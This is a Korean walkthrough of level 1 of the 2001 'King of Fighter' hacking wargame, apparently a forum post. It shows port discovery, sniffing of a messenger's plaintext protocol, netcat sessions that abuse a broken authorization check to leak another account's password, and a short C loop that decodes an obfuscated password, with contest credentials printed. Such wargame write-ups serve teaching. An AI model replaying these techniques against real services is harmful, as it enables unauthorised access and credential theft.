******************************************************
Level1 of 2001 King of Fighter(kof)
Site: http://kof.hackerslab.org
:작성 환경:
->빌게이츠 모조품 2000번째 브로붸쇼놀 작품. + 버그종합선물세트 패치 2
->600(?) + 128(?) + 20(?) + 17(?) + 32(?)
: 이문서는 아무데나(?) 배포가 가능하며 작성자&본문을 맘데로
수정하셔도 생명에 지장이 없습니다.
단! 아래 ps 부분은 수정하지 말 것.
ps. doll 아저씨 바보
******************************************************
2001 kof 레벨1의 풀이 입니다. 이 문서는 졸라졸라 v1.0 과 v1.1 두 버전에 대한 풀이를 포함합니다.
대회가 종료되었습니다. level1을 통과하지 못한 분들에게 도움이 되길..
1. 시작
먼저 졸라졸라 v1.0 을 설치 하고 실행 합니다.(설치중 발생하는 에러에 대해서는 doll아저씨에게 문의 바람).
기본 계정 guest로 로그인 후에, 도스창을 띄워 netstat -an 를 실행합니다.( 이 명령은, 내컴에 열린 똥꾸녕이 다 나옴. 똥구녕 = 포트)
C:>netstat -na
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:59 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1052 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2666 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2705 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2718 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2844 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2874 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4780 0.0.0.0:0 LISTENING
TCP 0.0.0.0:23184 0.0.0.0:0 LISTENING
TCP 211.222.222.176:139 0.0.0.0:0 LISTENING
TCP 211.222.222.176:2666 203.250.57.9:6667 ESTABLISHED
TCP 211.222.222.176:2705 203.255.129.96:23 ESTABLISHED
TCP 211.222.222.176:2718 203.238.129.97:23 ESTABLISHED
TCP 211.222.222.176:2844 64.12.24.209:5190 ESTABLISHED
TCP 211.222.222.176:2874 203.255.129.177:2900 ESTABLISHED
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:1025 *:*
UDP 127.0.0.1:2267 *:*
UDP 127.0.0.1:4400 *:*
UDP 211.222.222.176:137 *:*
UDP 211.222.222.176:138 *:*
UDP 211.222.222.176:500 *:*
C:>
열린 포트들이 보이죠?. ( ESTABLISHED ? 확립되다? 연결이 확립되다? 서버와 연결이 되다?. 아님 말구-_-)
TCP 211.222.222.176:2666 203.250.57.9:6667 ESTABLISHED
TCP 211.222.222.176:2705 203.255.129.96:23 ESTABLISHED
TCP 211.222.222.176:2718 203.238.129.97:23 ESTABLISHED
TCP 211.222.222.176:2844 64.12.24.209:5190 ESTABLISHED
TCP 211.222.222.176:2874 203.255.129.177:2900 ESTABLISHED
위 부분이 열린포트와 서버가 연결된 부분인데, 'TCP 프로토콜(1번째 필드값)을 이용해서 내컴퓨터(2번째 필드값)와
서버(3번째필드)가 연결되었다(4번째필드) 라고 해석이 가능합니다(?). 6667 포트는 irc, 23은 텔넷, 나머지 2900 포
트 를 사용하는 203.255.129.177:2900 이것이 졸라졸라가 사용하는 서버의 IP 와 포트 번호 임을 알 수 있습니다.
2. 패킷 엿보기
자자, 그럼 이제, 서버의 주소도 알고 포트도 알고 있으니, 패킷을 잡아 보도록 합니다. ( 패킷은 데이터 쪼가리다-_-)
졸라졸라 클라이언트랑 서버가 나누는 음란대화를 엿보도록 합니다(-_-; 엿보는건 잼있다-_-)
엿보는데는 스나이퍼 라는 툴을 쓴다-_-; 툴이라고 하니 날 스크립키드라고 의심하는 사람이 있을지 모른다...
(사실이 그렇다 ㅡ_ㅜ)
윈용 스나이퍼에는 analyzer , spynet , NetXray 등이 있다.
(본인은 대회중에 analyzer , NetXray 설치하다가 실패했다-_-;! ... 영원히 사라지길! 저주를 내린닷-_-)
(날 믿어준 spynet 에게 감사-_-, 파일은 알아서 찾길 바랍니닷-_-a doll아저씨에게 문의를 하면 안될지 그럴지 모르게씀)
자자, 그럼 켜뒀던 졸자졸라v1.0 을 끕니다. (끄라면 끄라-_-) 그리고 스나이퍼를 키고, 캡쳐를 시작 합니다.
잽싸게 졸라졸라 v1.0 을 키고 로그인을 하고 나서, 맘 속으로 2초를 샙니다-_-; 그리고서는 캡쳐를 스톱!!.
(자자자~ 캡쳐가 됬겠죠~..안됬으면 -_-a 여기서 접으시오-_-)
걸려든 패킷 중에 타켓서버 2900 포트랑 주고 받는 패킷 부분만 봅니다.
0000: 01 02 B9 66 02 54 01 50 BF 3F FF 84 08 00 45 00 ...f.T.P.?....E.
0010: 00 3D E4 43 40 00 80 06 1F 5E D3 B7 D5 B0 CB FF .=.C@....^......
0020: 81 B1 0B 3A 0B 54 70 04 71 A3 21 6F A3 DC 50 18 ...:.Tp.q.!o..P.
0030: 44 70 29 CE 00 00 4B 4F 46 4C 4F 47 20 67 75 65 Dp)...KOFLOG gue
0040: 73 74 20 6B 6F 66 39 75 65 73 74 st kof9uest
/*
졸라졸라 로그인 과정에서 클라이언트가 서버로 보낸 패킷입니다.
KOFLOG guest kof9uest
라고 적혀 있습니다. 로그인을 한다는걸 알 수 있죠?.
나는 궤스트랑께!! 암호는 kof9eust 라고~ 말이징~
*/
0000: 01 50 BF 3F FF 84 01 02 B9 66 02 54 08 00 45 00 .P.?.....f.T..E.
0010: 00 32 21 42 40 00 75 06 ED 6A CB FF 81 B1 D3 B7 .2!B@.u..j......
0020: D5 B0 0B 54 0B 3A 21 6F A3 DC 70 04 71 B8 50 18 ...T.:!o..p.q.P.
0030: 44 5B A8 96 00 00 4B 4F 46 4C 4F 4B 20 30 0D 0A D[....KOFLOK 0..
0040:
/*
로그인 패킷을 받은 서버가 아이디(guest) 와 암호(kof9uest)를 확인하고
클라이언트에게 올바르게 확인이 되었음을 알려주는 패킷을 보냅니다.
KOFLOK 0
로그인 오케이! 랑께!
(로그인 할때 guest 의 비번을 바꿔서 로그인을 해보면 KOFLOK 2 라는 응답이 오는걸 볼수있습니다.)
*/
0000: 01 02 B9 66 02 54 01 50 BF 3F FF 84 08 00 45 00 ...f.T.P.?....E.
0010: 00 38 E4 46 40 00 80 06 1F 60 D3 B7 D5 B0 CB FF .8.F@....`......
0020: 81 B1 0B 3A 0B 54 70 04 71 B8 21 6F A3 E6 50 18 ...:.Tp.q.!o..P.
0030: 44 66 36 D3 00 00 4B 4F 46 47 45 54 4C 49 53 54 Df6...KOFGETLIST
0040: 20 67 75 65 73 74 guest
/*
guest로 로그인 후에 클라이언트 -> 서버 로 guest의 친구 목록을 요청합니다.
(이 프로그램은 p2p 메신저 라는걸 기억하세요 ㅡ_ㅡ::)
KOFGETLIST guest
(서버야~ guest 에 등록된 칭구 목록을 내노으라~)
*/
0000: 01 50 BF 3F FF 84 01 02 B9 66 02 54 08 00 45 00 .P.?.....f.T..E.
0010: 00 54 21 45 40 00 75 06 ED 45 CB FF 81 B1 D3 B7 .T!E@.u..E......
0020: D5 B0 0B 54 0B 3A 21 6F A3 E6 70 04 71 C8 50 18 ...T.:!o..p.q.P.
0030: 44 4B 77 1B 00 00 4B 4F 46 46 52 49 20 6C 65 76 DKw...KOFFRI lev
0040: 65 6C 31 0D 0A 4B 4F 46 46 52 49 20 6C 65 76 65 el1..KOFFRI leve
0050: 6C 32 0D 0A 4B 4F 46 46 52 49 20 67 75 65 73 74 l2..KOFFRI guest
0060: 0D 0A ..
/* 칭구 목록을 요청받은 서버는 클라이언트에게 guest 의 칭구 목록을 응답합니다.
KOFFRI level1
KOFFRI level2
KOFFRI guest
(FRI 는 FRIEND의 약자 랑께-_-; 칭구가 꼴랑 3명-_-;;;)
(졸라졸라 키면 친구가 3명 나오는걸 볼 수 있죠?.
서버가 위와 같은 응답을 하기 땜시 볼 수 있는 거됴~~)
*/
자자자 그럼 지금까지 우리는 서버랑 클라이언트의 음란 대화 명령어 몇개를 입수 했습니다.
KOFLOG <-> KOFLOK
KOFGETLIST <-> KOFFRI
그럼, 다시 한번! 패킷 스나이터를 키고 졸라졸라를 가지구 엽기행각을 벌려 봅니다.
또 다른 음난대화가 숨겨켜 있을지 모르니까요.
졸라졸라 친구 목록에서 guest의 아이디를 눌러서 User Details 을 눌르는! 것의 패킷을 잡아 봅니다.
0000: 00 02 B9 66 02 54 00 50 BF 3F FF 84 08 00 45 00 ...f.T.P.?....E.
0010: 00 40 E6 61 40 00 80 06 1D 3D D3 B7 D5 B0 CB FF .@.a@....=......
0020: 81 B1 0B 3A 0B 54 70 04 71 E0 21 6F A4 54 50 18 ...:.Tp.q.!o.TP.
0030: 43 F8 30 58 00 00 4B 4F 46 47 45 54 49 4E 46 4F C.0X..KOFGETINFO
0040: 20 67 75 65 73 74 20 67 75 65 73 74 0D 0A guest guest..
/*
졸라졸라 클라이언트가 guest의 정보를 얻기위해서
KOFGETINFO guest guest
라는 패킷을 보냈습니다.
KOFGETINFO(정보내놔!) guest(난 궤스트다!) guest(니 정보!)
*/
0000: 00 50 BF 3F FF 84 00 02 B9 66 02 54 08 00 45 00 .P.?.....f.T..E.
0010: 00 6A 2C A4 40 00 75 06 E1 D0 CB FF 81 B1 D3 B7 .j,.@.u.........
0020: D5 B0 0B 54 0B 3A 21 6F A4 54 70 04 71 F8 50 18 ...T.:!o.Tp.q.P.
0030: 44 1B 21 F6 00 00 4B 4F 46 50 55 54 49 4E 46 4F D.!...KOFPUTINFO
0040: 20 67 75 65 73 74 20 6B 6F 66 39 75 65 73 74 20 guest kof9uest
0050: 67 75 65 73 74 40 6B 6F 66 2E 68 61 63 6B 65 72 guest@kof.hacker
0060: 73 6C 61 62 2E 6F 72 67 20 5A 6F 6C 61 5A 6F 6C slab.org ZolaZol
0070: 61 47 75 65 73 74 0D 0A aGuest..
/*
클라이언트의 요청에 서버가 응답하길...
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFPUTINFO(정보 여깄다!) guest(이넘꺼랑께!) kof9uset(암호지롱!) guest@kof.hackerslab.org(이메일!) ZolaZolaGuesT(이름!)
헉..궤스트 암호가 나왔다-_-;
*/
헉헉..그럼 level1 이나 level2 의 정보를 빼내면 될것이다! 라고 생각하겠지...
그럼 암호가 나오겠지!! 라고 생각하면..
당신은 천재다-_-
3. 패킷 조작
자자.. 드디어 우리들의 멋쟁이 넷켓이 나올때가 됬습니다 >.< 넷켓 옵빠아아아~
넷켓은 네트워크 켓(?) 고양이의 약자 로 추정됩니다. (따지면 , 바보 똥꾸멍) 영어로 쓰자면 netcat -_-;
버전은 1.10 까지 나온거 같음.( 네켓을 구합니다. 컴파일합니다, -_-; 알아서들..모르면 doll 아저씨에게 묻기)
자자 그럼 , 이제.....? 머하자구?.... 옵빠아앙~ 나랑 놀아야지 *' o'* 아잉~
졸라졸라 <-> 서버 의 음난대화가 아닌 나 자신(nc를 이용) <-> 서버 의 음난대화를 해봅니다-_-a
(nc 가 없다면 telnet 으로 해도 됩니다.)
그럼 nc를 이용해서 서버에 접속합니다.
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
_
(아래 커서가 깜빡~깜박 이는~ *' o' *희미한~기억속에~♬)
텔넷으로 했을경우 아래와 ...위는 똑같은 역활(?)과 기능(성기능-_-)을 합니다.
[hellow@ilovegirl jakup]$ telnet 203.255.129.177 2900
Trying 203.255.129.177...
Connected to 203.255.129.177.
Escape character is '^]'.
자자 그럼.. 음난대화를 시작합니다.
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
위 처럼 입력 하고 엔터를 하면.. 서버가 대답하길..
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
와우 ~ 아까 였봤던거랑 똑같자나 - ,. =
그리고 KOFGETLIST guest 라고 입력하면....
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
와우-_-.... ..멋지다
자 이제 줄줄~이 딸아 오면서 보세요
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETINFO guest guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest 입력 해서 guest 암호 획득!?
이제 다른 친구들의 정보를 얻자!!
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETINFO guest guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest level1
KOFPUTERR level1
KOFGETINFO guest level2
KOFPUTERR level2
KOFGETINFO level1 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level1 level1
KOFPUTERR level1
KOFGETINFO level1 level2
KOFPUTERR level2
KOFGETINFO level2 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level2 level1
KOFPUTERR level1
KOFGETINFO level2 level2
KOFPUTERR level2
헉헉.... guest 말고는 아무것도 접근 할수가 없다니 ㅡ_ㅜ
아직 안해본게 하나 있지롱 ' o'
KOFGETLIST 다...
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETINFO guest guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest level1
KOFPUTERR level1
KOFGETINFO guest level2
KOFPUTERR level2
KOFGETINFO level1 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level1 level1
KOFPUTERR level1
KOFGETINFO level1 level2
KOFPUTERR level2
KOFGETINFO level2 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level2 level1
KOFPUTERR level1
KOFGETINFO level2 level2
KOFPUTERR level2
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
guest 의 친구 목록이 나왔다.
그럼 level1 이나 level2 의 친구도 보자 ' o'
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETINFO guest guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest level1
KOFPUTERR level1
KOFGETINFO guest level2
KOFPUTERR level2
KOFGETINFO level1 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level1 level1
KOFPUTERR level1
KOFGETINFO level1 level2
KOFPUTERR level2
KOFGETINFO level2 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level2 level1
KOFPUTERR level1
KOFGETINFO level2 level2
KOFPUTERR level2
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETLIST level1
KOFGETLIST level2
KOFFRI kof_Root
level1 친구 요청에는 응답하지 않았고 level1 2에는 kof_Root 라는 친구가 등록되어 있다!!
그럼 본김에 kof_Root 라는 넘의 친구 목록도 보자~
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETINFO guest guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest level1
KOFPUTERR level1
KOFGETINFO guest level2
KOFPUTERR level2
KOFGETINFO level1 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level1 level1
KOFPUTERR level1
KOFGETINFO level1 level2
KOFPUTERR level2
KOFGETINFO level2 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level2 level1
KOFPUTERR level1
KOFGETINFO level2 level2
KOFPUTERR level2
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETLIST level1
KOFGETLIST level2
KOFFRI kof_Root
KOFGETLIST kof_Root
KOFFRI oprix
KOFFRI codejack
KOFFRI black
KOFFRI mud
KOFFRI doll
KOFFRI makins
KOFFRI amadoh4ck
운영자 아찌들이 다 나왔다- ,. =
음-_- 마지막 으로 하나만 하고 끝내야지..
[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900
KOFLOG guest kof9uest
KOFLOK 0
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETINFO guest guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest level1
KOFPUTERR level1
KOFGETINFO guest level2
KOFPUTERR level2
KOFGETINFO level1 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level1 level1
KOFPUTERR level1
KOFGETINFO level1 level2
KOFPUTERR level2
KOFGETINFO level2 guest
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO level2 level1
KOFPUTERR level1
KOFGETINFO level2 level2
KOFPUTERR level2
KOFGETLIST guest
KOFFRI level1
KOFFRI level2
KOFFRI guest
KOFGETLIST level1
KOFGETLIST level2
KOFFRI kof_Root
KOFGETLIST kof_Root
KOFFRI oprix
KOFFRI codejack
KOFFRI black
KOFFRI mud
KOFFRI doll
KOFFRI makins
KOFFRI amadoh4ck
KOFGETINFO kof_Root level1
KOFPUTERR level1
KOFGETINFO kof_Root level2
KOFPUTINFO level2 gEtstarTK0f level2@kof.hackerslab.org level2user
옹샤르~~ 암호가 나왔다 +_+ 반짝반짝!
KOFPUTINFO level2 gEtstarTK0f level2@kof.hackerslab.org level2user
guest 로 level2 의 정보를 요청했을때(KOFGETINFO guest level2)는 나오지 않았지만
kof_Root로 level2의 정보를 요청했을때(KOFGETINFO kof_Root level2)는 나왔음을 알 수 있다.
*****************************************************************************
여기까지가 졸라 졸라 v1.0 의 풀이 방법이다.
아래는 졸라 졸라 1.1 의 풀이 방법이다.
미리 알아 둘것은 졸라졸라 1.1 에서 guest의 암호는 gZuOeLsAt 였다.(패킷 캡쳐하면 보인다.)
*****************************************************************************
1.1의 풀이 방법도 위의 과정까지는 똑같다.
하지만 KOFGETINFO guest guest 했을때 1.0 에서는서버가 아래와 같이 응답을 했지만..
KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest
1.1 에서는 아래와 같이 응답한다.
KOFGETINFO guest guest
KOFPUTINFO guest cWsNeMuDx guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest g[wRiQyH| guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest fZvQhPxG{ guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest dXtOfNvEy guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest bVrMdLtCw guest@kof.hackerslab.org ZolaZolaGuest
9자리의 이상한 문자열이다.
그리고 KOFGETINFO kof_Root level2 라고 요청했을때 아래 처럼 응답한다.
KOFGETINFO kof_Root level2
KOFPUTINFO kof_Root cBrrtbtWOTl kof_Root@kof.hackerslab.org ZolaKof_Root
1.1에서는 guest의 암호(gZuOeLsAt)와 KOFGETINFO guest guest 를 요청했을때
서버가 응답하는 9자리 문자열과의 관계(?) 를 알게되면..
KOFGETINFO kof_Root level2
를 요청했을때 응답하면 11자리 이상한 문자열을 가지고 level2의 암호를 알 수 있다.
KOFGETINFO guest guest
KOFPUTINFO guest cWsNeMuDx guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest g[wRiQyH| guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest fZvQhPxG{ guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest dXtOfNvEy guest@kof.hackerslab.org ZolaZolaGuest
KOFGETINFO guest guest
KOFPUTINFO guest bVrMdLtCw guest@kof.hackerslab.org ZolaZolaGuest
이것에서 9자리 문자열 중에서 제일 앞 문자들 a b c d .. 알파벳 순으로 놔보면..
aUqLcKsBv
bVrMdLtCw
cWsNeMuDx
..
제일 앞에 있는 aUqLcKsBv 를 기준으로 각자리 +1을 한 값들이 다음 9자리 문자를 이룸을 알 수 있다.
9자리 들의 관계가 파악됬고 ... 이것들과 암호랑의 관계는..
9자리 중에서.. 앞자리가 g로 시작하는 것과
g[wRiQyH|
암호(gZuOeLsAt)와의 관게를 보면은...
g[wRiQyH| 이 값에서 각자리마다 -0 -1 -2 -3 -4 -5 -6 -7 -8 을 한 값이 gZuOeLsAt 임을 알 수 있다.
이관계를 11자리 값에 적용해 보면.. 예를 들어 앞자리 b 인것으로..
bVrMdLtCw
이값에 대해 -0 -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 을 하면 b 에 대한 어떤 값이 나옴을 알 수 있고,
아스키값 전체(255)에 대해 이 방법을 써보면 암호가 나올거라는 추측을 할 수 있다.
(ps. 대부분 사람이 guest 암호가 g 란걸 알고 앞자리 g인걸만 해석해서 level2 를 찍어 푼 사람이 많다-_-;
운이 좋게두 level2 암호도 앞자리가 g 였다-_-;)
255번 하는 노가다를 덜어 보자-_-
/* 이 소스는 달나라 토끼가 씀 */
#include
int main()
{
int i=0;
char buf[12]="cBrrtbtWOTl";
char buf2[12]="aaaaaaaaaaa";
for(i=0; i<=255;i++)
{
buf[0] +=1;
buf[1] +=1;
buf[2] +=1;
buf[3] +=1;
buf[4] +=1;
buf[5] +=1;
buf[6] +=1;
buf[7] +=1;
buf[8] +=1;
buf[9] +=1;
buf[10] +=1;
buf2[0] = buf[0] ;
buf2[1] = buf[1] -1;
buf2[2] = buf[2] -2;
buf2[3] = buf[3] -3;
buf2[4] = buf[4] -4;
buf2[5] = buf[5] -5;
buf2[6] = buf[6] -6;
buf2[7] = buf[7] -7;
buf2[8] = buf[8] -8;
buf2[9] = buf[9] -9;
buf2[10] = buf[10] -10;
printf("%sn",buf2);
}
}
/* 돌려 보면 답이 나온다-_- */
[hellow@ilovegirl jakup]$ gcc ha.c -o ha
[hellow@ilovegirl jakup]$ ./ha
dBqpq^oQHLc
eCrqr_pRIMd
fDsrs`qSJNe
gEtstarTKOf
hFutubsULPg
iGvuvctVMQh
jHwvwduWNRi
kIxwxevXOSj
lJyxyfwYPTk
mKzyzgxZQUl
nL{z{hy[RVm
oM|{|izSWn
pN}|}j{]TXo
qO~}~k|^UYp
rP~l}_VZq
sQ

ino
01-08-27 09:48
0개
2,769회
KOF 2001 LEVEL1 풀이입니다.
댓글목록
등록된 댓글이 없습니다.